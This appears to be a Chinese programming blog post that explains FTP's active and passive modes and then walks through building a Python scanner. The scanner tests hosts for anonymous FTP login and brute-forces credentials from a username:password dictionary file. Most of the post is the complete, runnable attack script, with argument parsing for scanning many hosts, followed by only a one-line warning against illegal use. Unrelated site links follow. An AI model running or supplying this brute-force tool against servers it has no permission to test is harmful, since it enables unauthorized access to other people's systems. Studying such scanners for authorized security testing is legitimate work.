Python实现FTP弱口令扫描器的方法示例


Posted in Python onJanuary 31, 2019

FTP服务器

FTP服务器是在互联网上提供文件存储和访问服务的计算机,它们依照FTP协议提供服务。FTP是File Transfer Protocol(文件传输协议)的缩写。顾名思义,就是专门用来传输文件的协议,简单地说,支持FTP协议的服务器就是FTP服务器

FTP是仅基于TCP的服务,不支持UDP(想想也是,传输文件,肯定要稳定可靠,建立连接,所以不支持UDP)。与众不同的是FTP使用2个端口,一个数据端口,一个命令端口(也叫控制端口)。通常来说这两个端口分别是21(命名端口)和20(数据端口)。但由于FTP工作方式的不同,数据端口并不总是20.这就是主动与被动FTP的最大不同之处。

  • 主动FTP

FTP服务器的控制端口是21,数据端口是20,所以在做静态映射的时候只需开放21端口即可,他会用20端口和客户端主动发起连接

  • 被动FTP

服务器的控制端口是21,数据端口是随机的,且是客户端去连接对应的数据端口,所以在做静态映射的话只开放21端口不可以的

FTP扫描的实现方案

扫描匿名FTP

FTP匿名登陆的扫描主要应用与批量扫描中,单独针对一个FTP服务器进行扫描的话成功率比较小。很多网站都开放FTP服务方便用户下载资源(这个允许匿名登陆不足为奇),更疯狂的是网站管理人员为了方便网站访问软件的更新也开放了FTP匿名登陆,这样就给了我们很多机会,尤其后者的服务器很容易受到攻击

扫描FTP弱口令

弱口令扫描其实就是暴力破解,不过我们只是扫描一些简单的密码组合,并不是所有可能的密码组合

步骤

FTP匿名扫描器的实现

这里需要用到Python的 ftplib 库中的FTP这个类,这个类实现了FTP客户端的大多数功能,比如连接FTP服务器、查看服务器中的文件、上传、下载文件等功能,详细用法可以查看API,接下来我们首先定义 anonScan(hostname) 这个函数以实现扫描可匿名登陆的FTP服务器。代码如下:

def anonScan(hostname):      # 参数是主机名
  try:
    with FTP(hostname) as ftp: # 创建FTP对象
      ftp.login()      # FTP匿名登陆
      print("\n[*]" + str(hostname) + " FTP Anonymous login successful!")
      return True
    except Exception as e:   # 抛出异常表示匿名登陆失败
      print("\n[-]" + str(hostname) + " FTP Anonymous login failure!")
      return False

代码很简短,注释也写的很清楚。这里还是说一下函数的思路,首先用主机名构造了一个FTP对象(即ftp),然后用ftp调用不带参数的login()函数即表示要匿名登陆这个FTP服务器,如果登陆过程中没有产生异常,则表明匿名登陆成功,否则匿名登陆失败

FTP弱口令的扫描

FTP弱口令扫描依赖于用户名和密码字典,密码字典 下载 ,下载之后我们将其命名为 pwd.txt

接下来针对字典中的格式来实现FTP弱口令扫描,创建代码文件 ftpScanner.py ,代码如下:

def vlcLogin(hostname, pwdFile):        # Parameters (hostname, dictionary file)
  try:
    with open(pwdFile, 'r') as pf:     # Open dictionary file
      for line in pf.readlines():
        userName = line.split(':')[0]  # Fetch username
        passWord = line.split(':')[1].strip('\r').strip('\n') # Fetch password
        print('[+] Trying: ' + userName + ':' + passWord)
        try:
          with FTP(hostname) as ftp:
            ftp.login(userName, passWord)
            print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
               userName + ':' + passWord)
            return (userName, passWord)
        except Exception as e:
          # Continue trying other usernames and passwords
          pass
  except IOError as e:
    print('Error: the password file does not exist!')
  print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
  return (None,None)

这段代码其实就是循环从字典中读取用户名和密码并尝试登陆,登陆成功则表明找到用户名和密码。由于这个函数将主机名定义成了可以用 , 分割的字符串。找到密码并不会终止程序,而是会继续扫描其他主机的弱口令,直到所有的主机都扫描一遍

命令行解析

至此,FTP扫描器几乎已经完成了,现在我们要做的是让我们的脚本可以处理命令行输入,以控制扫描哪些主机。命令行参数我们将用到Python中的 argparse 库。

parser = argparse.ArgumentParser(description='FTP Scanner')
  parser.add_argument('-H',dest='hostName',help='The host list with ","space')
  parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
  options = None
  try:
    options = parser.parse_args()

  except:
    print(parser.parse_args(['-h']))
    exit(0)

  hostNames = str(options.hostName).split(',')
  pwdFile = options.pwdFile

整合全部代码

# -*- coding: utf-8 -*-
from ftplib import *
import argparse
import time

# Anonymous login scan
def anonScan(hostname):      # The parameter is the host name
  try:
    with FTP(hostname) as ftp: # Create FTP object
      ftp.login()      # FTP anonymous login
      print("\n[*]" + str(hostname) + " FTP Anonymous login successful!")
      return True
  except Exception as e:   # Throwing an exception indicates that the anonymous login failed
    print("\n[-]" + str(hostname) + " FTP Anonymous login failure!")
    return False

# Brute force
def vlcLogin(hostname, pwdFile):        # Parameters (hostname, dictionary file)
  try:
    with open(pwdFile, 'r') as pf:     # Open dictionary file
      for line in pf.readlines():
        userName = line.split(':')[0]  # Fetch username
        passWord = line.split(':')[1].strip('\r').strip('\n') # Fetch password
        print('[+] Trying: ' + userName + ':' + passWord)
        try:
          with FTP(hostname) as ftp:
            ftp.login(userName, passWord)
            print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
               userName + ':' + passWord)
            return (userName, passWord)
        except Exception as e:
          # Continue trying other usernames and passwords
          pass
  except IOError as e:
    print('Error: the password file does not exist!')
  print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
  return (None,None)

def main():
  parser = argparse.ArgumentParser(description='FTP Scanner')
  parser.add_argument('-H',dest='hostName',help='The host list with ","space')
  parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
  options = None
  try:
    options = parser.parse_args()

  except:
    print(parser.parse_args(['-h']))
    exit(0)

  hostNames = str(options.hostName).split(',')
  pwdFile = options.pwdFile
  if hostNames == ['None']:
    print(parser.parse_args(['-h']))
    exit(0)

  for hostName in hostNames:
    username = None
    password = None
    if anonScan(hostName) == True:
      print('Host: ' + hostName + ' Can anonymously!')
    elif pwdFile != None:
      (username,password) = vlcLogin(hostName,pwdFile)
      if password != None:
        print('\n[+] Host: ' + hostName + 'Username: ' + username + \
           'Password: ' + password)
  print('\n[*]-------------------Scan End!--------------------[*]')


if __name__ == '__main__':
  main()

测试扫描

至此就可以测试我们的FTP弱口令扫描器了,在命令行中输入

python ftpScanner.py -H 127.0.0.1 -f pwd.txt

Python实现FTP弱口令扫描器的方法示例

因为我本地并没有开启ftp服务,所以扫描不成功,大家可以尝试在服务器上开放FTP服务,然后进行测试,绝对不能用于非法用途

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python中bisect模块用法实例
Sep 25 Python
使用Python中PDB模块中的命令来调试Python代码的教程
Mar 30 Python
Python实现随机选择元素功能
Sep 14 Python
Python如何快速上手? 快速掌握一门新语言的方法
Nov 14 Python
使用apidoc管理RESTful风格Flask项目接口文档方法
Feb 07 Python
python3读取csv和xlsx文件的实例
Jun 22 Python
Python解析、提取url关键字的实例详解
Dec 17 Python
Python判断两个文件是否相同与两个文本进行相同项筛选的方法
Mar 01 Python
python找出一个列表中相同元素的多个索引实例
Jun 11 Python
Python3 执行系统命令并获取实时回显功能
Jul 09 Python
Python中 CSV格式清洗与转换的实例代码
Aug 29 Python
基于Python fminunc 的替代方法
Feb 29 Python
对python条件表达式的四种实现方法小结
Jan 30 #Python
python从子线程中获得返回值的方法
Jan 30 #Python
学生信息管理系统Python面向对象版
Jan 30 #Python
python学生管理系统开发
Jan 30 #Python
Python修改文件往指定行插入内容的实例
Jan 30 #Python
python学生管理系统
Jan 30 #Python
selenium+python截图不成功的解决方法
Jan 30 #Python
You might like
Could not load type System.ServiceModel.Activation.HttpModule解决办法
2012/12/29 PHP
解析:php调用MsSQL存储过程使用内置RETVAL获取过程中的return值
2013/07/03 PHP
ThinkPHP中URL路径访问与模块控制器之间的关系
2014/08/23 PHP
php+mysql删除指定编号员工信息的方法
2015/01/14 PHP
PHP实现微信网页授权开发教程
2016/01/19 PHP
php基于jquery的ajax技术传递json数据简单实例
2016/04/15 PHP
javascript 实现父窗口引用弹出窗口的值的脚本
2007/08/07 Javascript
Tinymce+jQuery.Validation使用产生的BUG
2010/03/29 Javascript
基于jquery实现漂亮的动态信息提示效果
2011/08/02 Javascript
基于jQuery的图片剪切插件
2011/08/03 Javascript
jquery Mobile入门—外部链接切换示例代码
2013/01/08 Javascript
JavaScript 正则表达式中global模式的特性
2016/02/25 Javascript
微信小程序 自定义Toast实例代码
2017/06/12 Javascript
AngularJs+Bootstrap实现漂亮的计算器
2017/08/10 Javascript
JS轮播图实现简单代码
2021/02/19 Javascript
jquery tmpl模板(实例讲解)
2017/09/02 jQuery
Angular 如何使用第三方库的方法
2018/04/18 Javascript
微信小程序实现发红包功能
2018/07/11 Javascript
vue中v-show和v-if的异同及v-show用法
2019/06/06 Javascript
vue 使用class创建和清除水印的示例代码
2020/12/25 Vue.js
Vue中避免滥用this去读取data中数据
2021/03/02 Vue.js
python中的一些类型转换函数小结
2013/02/10 Python
urllib2自定义opener详解
2014/02/07 Python
利用python如何处理nc数据详解
2018/05/23 Python
Python3.7下安装pyqt5的方法步骤(图文)
2020/05/12 Python
利用python如何实现猫捉老鼠小游戏
2020/12/04 Python
css3针对移动端卡顿问题的解决(动画性能优化)
2020/02/14 HTML / CSS
关于青春的演讲稿三分钟
2014/08/22 职场文书
2015届本科毕业生自我鉴定
2014/09/27 职场文书
镇党委书记群众路线整改措施思想汇报
2014/10/13 职场文书
领导干部“四风”查摆问题个人整改措施
2014/10/28 职场文书
2014年销售工作总结范文
2014/12/01 职场文书
老公婚前保证书
2015/02/28 职场文书
2015年家长学校工作总结
2015/04/22 职场文书
如何使用CocosCreator对象池
2021/04/14 Javascript
Element实现动态表格的示例代码
2021/08/02 Javascript